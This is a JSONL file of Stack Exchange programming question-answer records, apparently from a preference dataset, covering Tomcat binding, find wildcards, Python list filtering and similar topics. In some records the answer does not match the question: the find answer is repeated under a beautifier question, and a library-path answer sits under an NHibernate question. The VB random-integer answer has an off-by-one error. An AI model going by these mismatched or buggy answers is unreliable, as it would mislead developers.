messy browser details. You'll go nuts if you try to do all the cross-browser scripts yourself. Some good ones are Prototype and jQuery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.905591"}
{"id": "hf_36f9a624bd1e", "question": "<p>I'm wondering how the few Delphi users here are doing unit testing, if any?  Is there anything that integrates with the IDE that you've found works well?  If not, what tools are you using and do you have or know of example mini-projects that demonstrate how it all works?</p>\n<h3>Update:</h3>\n<p>I forgot to mention that I'm using BDS 2006 Pro, though I occasionally drop into Delphi 7, and of course others may be using other versions.</p>\n", "question_body": "", "answer": "DUnit\nis a xUnit type of unit testing framework to be used with win32 Delphi. Since Delphi 2005 DUnit is integrated to a certan point into the IDE. Other DUnit integration tools for the Delphi IDE can be found\nhere\n. DUnit comes with\ndocumentation with examples\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.941958"}
{"id": "hf_544fbbbbeee3", "question": "<p>When I am writing code in Python, I often need to remove items from a list or other sequence type based on some criteria. I haven't found a solution that is elegant and efficient, as removing items from a list you are currently iterating through is bad.  For example, you can't do this:</p>\n\n<pre><code>for name in names:\n    if name[-5:] == 'Smith':\n        names.remove(name)\n</code></pre>\n\n<p>I usually end up doing something like this:</p>\n\n<pre><code>toremove = []\nfor name in names:\n    if name[-5:] == 'Smith':\n        toremove.append(name)\nfor name in toremove:\n    names.remove(name)\ndel toremove\n</code></pre>\n\n<p>This is innefficient, fairly ugly and possibly buggy (how does it handle multiple 'John Smith' entries?). Does anyone have a more elegant solution, or at least a more efficient one? </p>\n\n<p>How about one that works with dictionaries?</p>\n", "question_body": "", "answer": "Well, this is clearly an issue with the data structure you are using. Use a hashtable for example. Some implementations support multiple entries per key, so one can either pop the newest element off, or remove all of them.\nBut this is, and what you're going to find the solution is, elegance through a different data structure, not algorithm. Maybe you can do better if it's sorted, or something, but iteration on a list is your only method here.\nedit:\none does realize he asked for 'efficiency'... all these suggested methods just iterate over the list, which is the same as what he suggested.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.060654"}
{"id": "hf_20a49df28feb", "question": "<p>I'm looking for a simple way to encrypt my soap communication in my C# Web-Service.</p>\n\n<p>I was looking into <a href=\"http://www.google.com/url?sa=t&amp;ct=res&amp;cd=1&amp;url=http%3A%2F%2Fwww.microsoft.com%2Fdownloads%2Fdetails.aspx%3Ffamilyid%3D018a09fd-3a74-43c5-8ec1-8d789091255d&amp;ei=x1isSPTUO4bS0QXsjIzWAw&amp;usg=AFQjCNHn7aOkIXoysM1woIgRBe20Ptu_6g&amp;sig2=RTyvtw71nWYyoDGIEh0TlQ\" rel=\"noreferrer\">WSE 3.0</a> but it seems Microsoft dropped support for it, and therefore it's not straightforward to use.<br>\nIt seems WCF could've been an option but I prefer not to upgrade from .NET 2.0 .</p>\n\n<p>Any <strong>simple</strong>, straightforward encryption method?</p>\n", "question_body": "", "answer": "Perhaps I'm being naive, but would forcing the communication to be via https be acceptable?\nI develop web services that run on 2.0 and have had success with just getting IIS to enforce https on the virtual directory.\nAlternatively, or in addition, you can check the\nHttpRequest.IsSecureConnection property\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.108562"}
{"id": "hf_15dcc12a80e2", "question": "<p>For those of us who use standard shared hosting packages, such as GoDaddy or Network Solutions, how do you handle datetime conversions when your hosting server (PHP) and MySQL server are in different time zones?</p>\n\n<p>Also, does anybody have some best practice advice for determining what time zone a visitor to your site is in and manipulating a datetime variable appropriately?</p>\n", "question_body": "", "answer": "Store everything as UTC.  You can do conversions at the client level, or on the server side using client settings.\nphp - date\nmysql - utc-timestamp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.132289"}
{"id": "hf_f1e55d0083fb", "question": "<p>What is the best way to authorize all users to one single page in a asp.net website.</p>\n\n<p>For except the login page and one other page, I deny all users from viewing pages in the website. </p>\n\n<p>How do you make this page accessible to all users?</p>\n", "question_body": "", "answer": "I've been using forms authentication and creating the necessary GenericIdentity and CustomPrincipal objects that allows me to leverage the User.IsInRole type functions you typically only get with Windows authentication.\nThat way in my web.config file, I can do stuff like...\n```\n```\n<location path=\"Login.aspx\">\n   <system.web>\n      <authorization>\n         <allow users =\"*\" />\n      </authorization>\n   </system.web>\n</location>\n\n<location path=\"ManagementFolder\">\n   <system.web>\n      <authorization>\n         <allow roles =\"Administrator, Manager\" />\n      </authorization>\n   </system.web>\n</location>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.168149"}
{"id": "hf_96400449552b", "question": "<p>In an application that I am currently working on, a requirement is to bring a window of an external application to the foreground.  Making Win32 API calls such as BringWindowToTop and SetForeground window do not work all the time.  This is due to some restrictions within Windows XP.  What I would like to do instead is send simulate a mouse click the window's button on the taskbar which I am hoping will bring the window to the front.  Does anyone know how this is possible?</p>\n", "question_body": "", "answer": "It's possible. But it's extremely sketchy. Your application may also break with the next version of Windows, since it's undocumented. What you need to do is find the window handle of the taskbar, then find the window handle of the child window representing the button, then send it a WM_MOUSEDOWN (I think) message.\nHere's a bit on finding the window handle of the taskbar:\nhttp://www.codeproject.com/\nFWIW, the restrictions on BringWindowToTop/SetForeground are there because it's irritating when a window steals focus. That may not matter if you're working on a corporate environment. Just keep it in mind. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.203716"}
{"id": "hf_1e10dd67d520", "question": "<p>I have a list of integers, <code>List&lt;Integer&gt;</code> and I'd like to convert all the integer objects into Strings, thus finishing up with a new <code>List&lt;String&gt;</code>.</p>\n\n<p>Naturally, I could create a new <code>List&lt;String&gt;</code> and loop through the list calling <code>String.valueOf()</code> for each integer, but I was wondering if there was a better (read: <em>more automatic</em>) way of doing it?</p>\n", "question_body": "", "answer": "As far as I know, iterate and instantiate is the only way to do this.  Something like (for others potential help, since I'm sure you know how to do this):\n```\n```\nList<Integer> oldList = ...\n/* Specify the size of the list up front to prevent resizing. */\nList<String> newList = new ArrayList<>(oldList.size());\nfor (Integer myInt : oldList) { \n  newList.add(String.valueOf(myInt)); \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.227290"}
{"id": "hf_34e1e3e1ccaf", "question": "<p>I've found myself increasingly unsatisfied with the DataSet/DataTable/DataRow paradigm in .Net, mostly because it's often a couple of steps more complicated than what I really want to do.  In cases where I'm binding to controls, DataSets are fine.  But in other cases, there seems to be a fair amount of mental overhead.</p>\n\n<p>I've played a bit with SqlDataReader, and that seems to be good for simple jaunts through a select, but I feel like there may be some other models lurking in .Net that are useful to learn more about.  I feel like all of the help I find on this just uses DataSet by default.  Maybe that and DataReader really are the best options.</p>\n\n<p>I'm not looking for a best/worst breakdown, just curious what my options are and what experiences you've had with them.  Thanks!</p>\n\n<p>-Eric Sipple</p>\n", "question_body": "", "answer": "Since .NET 3.5 came out, I've exclusively used LINQ. It's really that good; I don't see any reason to use any of those old crutches any more.\nAs great as LINQ is, though, I think any ORM system would allow you to do away with that dreck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.251042"}
{"id": "hf_398d1608479a", "question": "<p>I'd like some sorthand for this:</p>\n\n<pre><code>Map rowToMap(row) {\n    def rowMap = [:];\n    row.columns.each{ rowMap[it.name] = it.val }\n    return rowMap;\n}\n</code></pre>\n\n<p>given the way the GDK stuff is, I'd expect to be able to do something like:</p>\n\n<pre><code>Map rowToMap(row) {\n    row.columns.collectMap{ [it.name,it.val] }\n}\n</code></pre>\n\n<p>but I haven't seen anything in the docs... am I missing something? or am I just way too lazy?</p>\n", "question_body": "", "answer": "I can't find anything built in... but using the ExpandoMetaClass I can do this:\n```\n```\nArrayList.metaClass.collectMap = {Closure callback->\n    def map = [:]\n    delegate.each {\n        def r = callback.call(it)\n        map[r[0]] = r[1]\n    }\n    return map\n}\n```\n```\nthis adds the collectMap method to all ArrayLists... I'm not sure why adding it to List or Collection didn't work.. I guess that's for another question... but now I can do this...\n```\n```\nassert [\"foo\":\"oof\", \"42\":\"24\", \"bar\":\"rab\"] ==\n            [\"foo\", \"42\", \"bar\"].collectMap { return [it, it.reverse()] }\n```\n```\nfrom List to calculated Map with one closure... exactly what I was looking for.\nEdit: the reason I couldn't add the method to the interfaces List and Collection was because I did not do this:\n```\n```\nList.metaClass.enableGlobally()\n```\n```\nafter that method call, you can add methods to interfaces.. which in this case means my collectMap method will work on ranges like this:\n```\n```\n(0..2).collectMap{[it, it*2]}\n```\n```\nwhich yields the map: [0:0, 1:2, 2:4]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.277880"}
{"id": "hf_56d2cc94b51c", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/9/how-do-i-calculate-someones-age-in-c\">How do I calculate someone&#39;s age in C#?</a>  </p>\n</blockquote>\n\n\n\n<p>Maybe this could be silly but and I don't have issues with my age but sometimes it is good to calculate the exact age of someone, I have introduced my birthdate in my profile (01/12/1975) \"dd/mm/yyyy\" and it calculated 33 and I'm 32 actually still, isn't it better to calculate the exact age? </p>\n\n<p>Maybe</p>\n\n<pre><code>DateTime dt1 = DateTime.Now;\nTimeSpan dt2;\ndt2 = dt1.Subtract(new DateTime(1975, 12, 01));\ndouble year = dt2.TotalDays / 365;\n</code></pre>\n\n<p>The result of year is 32.77405678074</p>\n\n<p>Could this code be OK?</p>\n", "question_body": "", "answer": "Maybe this could be silly but and I don't have issues with my age but sometimes it is good to calculate the exact age of someone, I have introduced my birthdate in my profile (01/12/1975) \"dd/mm/yyyy\" and it calculated 33 and I'm 32 actually still, doesn't it better to calculate the exact age?\nMy guess would be that this is a localization issue, though I don't know how it would happen, since (at least for me) the profile has you fill out your age in the format \"YYYY/MM/DD\".  But your birthday is one that reads as a valid date (January 12th) in traditional U.S. settings, so this is the area I'd look into.  I was born in 1975, also, and my birthday is next month, and it's got my age right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.302109"}
{"id": "hf_98aad5e6cd3c", "question": "<p>Unit testing and ASP.NET web applications are an ambiguous point in my group. More often than not, good testing practices fall through the cracks and web applications end up going live for several years with no tests. </p>\n\n<p>The cause of this pain point generally revolves around the hassle of writing UI automation mid-development. </p>\n\n<p>How do you or your organization integrate best TDD practices with web application development?</p>\n", "question_body": "", "answer": "I layer out the application and at least unit test from the presenter/controller (whichever is your preference, mvc/mvp) to the data layer. That way I have good test coverage over most of the code that is written.\nI have looked at FitNesse, Watin and Selenium as options to automate the UI testing but I haven't got around to using these on any projects yet, so we stick with human testing. FitNesse was the one I was leaning toward but I couldn't introduce this as well as introducing TDD (does that make me bad? I hope not!).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.338172"}
{"id": "hf_d4ce5654f0eb", "question": "<p>I've got a group of inter-related classes that are all overridden together to create a particular implementation. I'm wondering if it is a good idea to enclose the interrelated subclasses in a namespace.</p>\n\n<p>For example purposes, consider the following namespaces and classes:</p>\n\n<pre><code>namespace Protocol\n{\n  public abstract class Message { }\n  public abstract class Driver { }\n}\nnamespace Protocol.Tcp\n{\n  public class TcpMessage : Message { }\n  public class TcpDriver : Driver { }\n}\nnamespace Protocol.Ftp\n{\n  public class FtpMessage : Message { }\n  public class FtpDriver : Driver { }\n}\n</code></pre>\n\n<p>What is the best way to structure the namespaces? It seems unavoidable to expose the inheritance in the namespace since the base classes don't really belong in either the Protocol.Tcp namespace or the Protocol.Ftp namespace.</p>\n", "question_body": "", "answer": "I think you are perhaps worrying too much!\nDoes it make sense logically? Do you know where to find your code within the namespaces?\nI would much rather see a codebase like the above with a small number of classes, relevant to the name with a hierarchy, than one large namespace where everything is interrelated..\nRemember, namespacing is there for precisely this, to\norganise your codebase logically\nWhat you have seems logical :)\nEDIT:\nAs an example:\n```\n```\nusing System.Data;\nusing System.Data.Sql;\n```\n```\n;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.373892"}
{"id": "hf_fc98a848ee33", "question": "<p>How do you configure tomcat to bind to a single ip address (localhost) instead of all addresses?</p>\n", "question_body": "", "answer": "Several connectors are configured, and each connector has an optional \"address\" attribute where you can set the IP address.\nEdit\n```\ntomcat/conf/server.xml\n```\n.\nSpecify a bind address for that connector:\n```\n<Connector \n    port=\"8080\" \n    protocol=\"HTTP/1.1\" \n    address=\"127.0.0.1\"\n    connectionTimeout=\"20000\" \n    redirectPort=\"8443\" \n  />\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.397222"}
{"id": "hf_f94956072e26", "question": "<p>Is it possible to get UI text from an external application in C#. </p>\n\n<p>In particular, is there a way to read Unicode text from a label (I assume it's a normal Windows label control) from an external Win32 app that was written by a 3rd party? The text is visible, but not selectable by mouse in the UI.</p>\n\n<p>I assume there is some accessibility API (e.g. meant for screen readers) that allows this. </p>\n\n<p>Edit: Currently looking into using something like the <a href=\"http://msdn.microsoft.com/en-us/magazine/cc163617.aspx\" rel=\"nofollow noreferrer\">Managed Spy App</a> but would still appreciate any other leads.</p>\n", "question_body": "", "answer": "You could do it if that unicode text is actually a window with a caption by sending a\nWM_GETTEXT\nmessage.\n```\n```\n[DllImport(\"user32.dll\")]\npublic static extern int SendMessage (IntPtr hWnd, int msg, int Param, System.Text.StringBuilder text);\n\nSystem.Text.StringBuilder text = new System.Text.StringBuilder(255) ;  // or length from call with GETTEXTLENGTH\nint RetVal = Win32.SendMessage( hWnd , WM_GETTEXT, text.Capacity, text);\n```\n```\nIf it is just painted on the canvas you might have some luck if you know what framework the application uses. If it uses WinForms or Borland's VCL you could use that knowledge to get to the text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.444452"}
{"id": "hf_8090c71c410d", "question": "<p>Anyone know a quick easy way to migrate a SQLite3 database to MySQL?</p>\n", "question_body": "", "answer": "I recently had to migrate from MySQL to JavaDB for a project that our team is working on.  I found a\nJava library written by Apache called DdlUtils\nthat made this pretty easy.  It provides an API that lets you do the following:\nDiscover a database's schema and export it as an XML file.\nModify a DB based upon this schema.\nImport records from one DB to another, assuming they have the same schema.\nThe tools that we ended up with weren't completely automated, but they worked pretty well.  Even if your application is not in Java, it shouldn't be too difficult to whip up a few small tools to do a one-time migration.  I think I was able to pull of our migration with less than 150 lines of code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.468300"}
{"id": "hf_46b6a3a4fc08", "question": "<p>I need to generate a random integer between 1 and n (where n is a positive whole number) to use for a unit test. I don't need something overly complicated to ensure true randomness - just an old-fashioned random number.</p>\n\n<p>How would I do that?</p>\n", "question_body": "", "answer": "To get a random integer value between 1 and N (inclusive) you can use the following.\n```\n```\nCInt(Math.Ceiling(Rnd() * n)) + 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.503433"}
{"id": "hf_1d28359206e7", "question": "<p>Can anyone tell me how I can display a status message like \"12 seconds ago\" or \"5 minutes ago\" etc in a web page?</p>\n", "question_body": "", "answer": "Here is the php code for the same:\n```\n```\nfunction time_since($since) {\n    $chunks = array(\n        array(60 * 60 * 24 * 365 , 'year'),\n        array(60 * 60 * 24 * 30 , 'month'),\n        array(60 * 60 * 24 * 7, 'week'),\n        array(60 * 60 * 24 , 'day'),\n        array(60 * 60 , 'hour'),\n        array(60 , 'minute'),\n        array(1 , 'second')\n    );\n\n    for ($i = 0, $j = count($chunks); $i < $j; $i++) {\n        $seconds = $chunks[$i][0];\n        $name = $chunks[$i][1];\n        if (($count = floor($since / $seconds)) != 0) {\n            break;\n        }\n    }\n\n    $print = ($count == 1) ? '1 '.$name : \"$count {$name}s\";\n    return $print;\n}\n```\n```\nThe function takes the number of seconds as input and outputs text such as:\n10 seconds\n1 minute\netc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.527670"}
{"id": "hf_46edc9c84817", "question": "<p>Our company is currently writing a GUI automation testing tool for compact framework applications. We have initially searched many tools but none of them was right for us. </p>\n\n<p>By using the tool you can record test-cases and group them together to test-suites. For every test-suite there is generated an application, which launches the application-under-test and simulates user-input.</p>\n\n<p>In general the tool works fine, but as we are using <strong>window handles</strong> for simulation user input, you can't do very many things. For example it is impossible for us to get the name of a control (we just get the caption). </p>\n\n<p>Another problem using window handles is checking for a change. At the moment we simulate a click on a control and depending on the result we know if the application has gone to the next step.</p>\n\n<p>Is there any other (simpler) way for doing such things (for example the message queue or anything else)?</p>\n", "question_body": "", "answer": "If the Automated GUI testing tool has knowledge about the framework the application is written in it could use that information to make better or more advanced scripts.\nTestComplete\nfor example knows about Borland's VCL and WinForms. If you test applications build using Windows Presentation Foundation has advanced support for this\nbuild in\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.558000"}
{"id": "hf_00231d9141a3", "question": "<p>I'm writing some documentation in Markdown, and creating a separate file for each section of the doc.  I would like to be able to convert all the files to HTML in one go, but I can't find anyone else who has tried the same thing.  I'm on a Mac, so I would think a simple bash script should be able to handle it, but I've never done anything in bash and haven't had any luck.  It seems like it should be simple to write something so I could just run:</p>\n\n<pre><code>markdown-batch ./*.markdown\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "I use this in a .bat file:\n```\n```\n@echo off\nfor %i in (*.txt) python markdown.py \"%i\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.622575"}
{"id": "hf_dc47ec797af2", "question": "<p>The Add view and the Edit view are often incredibly similar that it is unwarranted to write 2 views. As the app evolves you would be making the same changes to both.</p>\n\n<p>However, there are usually subtle differences. For instance, a field might be read-only once it's been added, and if that field is a DropDownList you no longer need that List in the ViewData.</p>\n\n<p>So, should I create a view data class which contains all the information for both views, where, depending on the operation you're performing, certain properties will be null?<br>\nShould I include the operation in the view data as an enum?<br>\nShould I surround all the subtle differences with <em>&lt;% if( ViewData.Model.Op == Ops.Editing ) { %></em> ?</p>\n\n<p>Or is there a better way?</p>\n", "question_body": "", "answer": "I don't like the Views to become too complex, and so far I have tended to have separate views for Edit and Add. I use a user control to store the common elements to avoid repetition. Both of the views will be centered around the same ViewData, and I have a marker on my data to say whether the object is new or an existing object.\nThis isn't any more elegant than what you have stipulated, so I wonder if any of the Django or Rails guys can provide any input.\nI love asp.net mvc but it is still maturing, and still needs more sugar adding to take away some of the friction of creating websites.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.646524"}
{"id": "hf_96e160cfea2c", "question": "<p>When you have a query or stored procedure that needs performance tuning, what are some of the first things you try?</p>\n", "question_body": "", "answer": "Look at the where clause - verify use of indexes / verify nothing silly is being done\n```\n```\nwhere SomeComplicatedFunctionOf(table.Column) = @param --silly\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.706581"}
{"id": "hf_eab2f0ab4477", "question": "<p>I'm looking for shell scripts files installed on my system, but <strong>find</strong> doesn't work:</p>\n\n<pre><code>$ find /usr -name *.sh\n</code></pre>\n\n<p>But I know there are a ton of scripts out there.  For instance:</p>\n\n<pre><code>$ ls /usr/local/lib/*.sh\n/usr/local/lib/tclConfig.sh  \n/usr/local/lib/tkConfig.sh\n</code></pre>\n\n<p>Why doesn't <strong>find</strong> work?</p>\n", "question_body": "", "answer": "Try quoting the wildcard:\n```\n```\n$ find /usr -name \\*.sh\n```\n```\nor:\n```\n```\n$ find /usr -name '*.sh'\n```\n```\nIf you happen to have a file that matches\n*.sh\nin the current working directory, the wildcard will be expanded before find sees it.  If you happen to have a file named tkConfig.sh in your working directory, the\nfind\ncommand would expand to:\n```\n```\n$ find /usr -name tkConfig.sh\n```\n```\nwhich would only find files named tkConfig.sh.  If you had more than one file that matches\n*.sh\n, you'd get a syntax error from\nfind\n:\n```\n```\n$ cd /usr/local/lib\n$ find /usr -name *.sh\nfind: bad option tkConfig.sh\nfind: path-list predicate-list\n```\n```\nAgain, the reason is that the wildcard expands to both files:\n```\n```\n$ find /usr -name tclConfig.sh tkConfig.sh\n```\n```\nQuoting the wildcard prevents it from being prematurely expanded.\nAnother possibility is that /usr or one of its subdirectories is a symlink.\nfind\ndoesn't normally follow links, so you might need the\n-follow\noption:\n```\n```\n$ find /usr -follow -name '*.sh'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.755867"}
{"id": "hf_2b07e25281f7", "question": "<p>Does anyone here know of good batch file code indenters or beautifiers?</p>\n\n<p>Specifically for PHP, JS and SGML-languages.</p>\n\n<p>Preferably with options as to style.</p>\n", "question_body": "", "answer": "Try quoting the wildcard:\n```\n```\n$ find /usr -name \\*.sh\n```\n```\nor:\n```\n```\n$ find /usr -name '*.sh'\n```\n```\nIf you happen to have a file that matches\n*.sh\nin the current working directory, the wildcard will be expanded before find sees it.  If you happen to have a file named tkConfig.sh in your working directory, the\nfind\ncommand would expand to:\n```\n```\n$ find /usr -name tkConfig.sh\n```\n```\nwhich would only find files named tkConfig.sh.  If you had more than one file that matches\n*.sh\n, you'd get a syntax error from\nfind\n:\n```\n```\n$ cd /usr/local/lib\n$ find /usr -name *.sh\nfind: bad option tkConfig.sh\nfind: path-list predicate-list\n```\n```\nAgain, the reason is that the wildcard expands to both files:\n```\n```\n$ find /usr -name tclConfig.sh tkConfig.sh\n```\n```\nQuoting the wildcard prevents it from being prematurely expanded.\nAnother possibility is that /usr or one of its subdirectories is a symlink.\nfind\ndoesn't normally follow links, so you might need the\n-follow\noption:\n```\n```\n$ find /usr -follow -name '*.sh'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.784870"}
{"id": "hf_fde06a76b579", "question": "<p>So I am writing a registration form and I need the display name to be only numbers, letters and underscores. </p>\n\n<p>Have a look at my code and tell me what I'm doing wrong.</p>\n\n<pre><code>&lt;form method=\"post\" action=\"/\" onsubmit=\"return check_form()\"&gt;\n    &lt;input type=\"text\" id=\"display-name\" name=\"display-name\" maxlength=\"255\" /&gt;\n    &lt;input type=\"submit\" /&gt;\n&lt;/form&gt;\n&lt;script type=\"text/javascript\"&gt;\n&lt;!--\n    var name_regex = /^([a-zA-Z0-9_])+/\n\n    function check_form()\n    {\n        if (!name_regex.test(document.forms[0].elements[0].value))\n        {\n            document.forms[0].elements[0].focus()\n            alert(\"Your display name may only contain letters, numbers and underscores\")\n            return false\n        }\n    }\n--&gt;\n&lt;/script&gt;\n</code></pre>\n\n<p>It's obviously been trimmed down to not include anything not related to the problem but even this snippet doesn't work.</p>\n", "question_body": "", "answer": "My regexp would go along the lines of:\n```\n/^[a-zA-Z0-9_]+$/\n```\nedit: I think it's the lack of a line end\n```\n$\n```\nthat makes it fail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.809352"}
{"id": "hf_7c4d4294b4d7", "question": "<p>I am running a Qt 4.5 commercial snapshot and want to use a plugin that I downloaded (it's a .so file) in my <code>QWebView</code>.  Is there a specific location where I need to place this file?  Can I grab it using the <code>QWebPluginFactory</code>?</p>\n", "question_body": "", "answer": "Have you tried putting in the\nstandard library directories\n? It should be picked up by the\nlinker\nif it's in one of those directories.\nFor example:\n```\n```\n/lib/\n/usr/lib/\n/usr/share/lib/\n/usr/local/lib/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.832591"}
{"id": "hf_83fc2a21b448", "question": "<p>Is anyone working on or know if there exists a SQL 2k8 Dialect for NHibernate?  </p>\n", "question_body": "", "answer": "Have you tried putting in the\nstandard library directories\n? It should be picked up by the\nlinker\nif it's in one of those directories.\nFor example:\n```\n```\n/lib/\n/usr/lib/\n/usr/share/lib/\n/usr/local/lib/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.856746"}
{"id": "hf_109059031e4e", "question": "<p>I know in JavaScript, <em>objects</em> double as hashes, but I have been unable to find a built-in function to get the keys:</p>\n<pre><code>var h = {a:'b', c:'d'};\n</code></pre>\n<p>I want something like</p>\n<pre><code>var k = h.keys() ; // k = ['a', 'c'];\n</code></pre>\n<p>It is simple to write a function myself to iterate over the items and add the keys to an array that I return, but is there a standard cleaner way to do that?</p>\n<p>I keep feeling it must be a simple built in function that I missed but I can't find it!</p>\n", "question_body": "", "answer": "This is the best you can do, as far as I know...\n```\n```\nvar keys = [];\nfor (var k in h)keys.push(k);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:51.880432"}
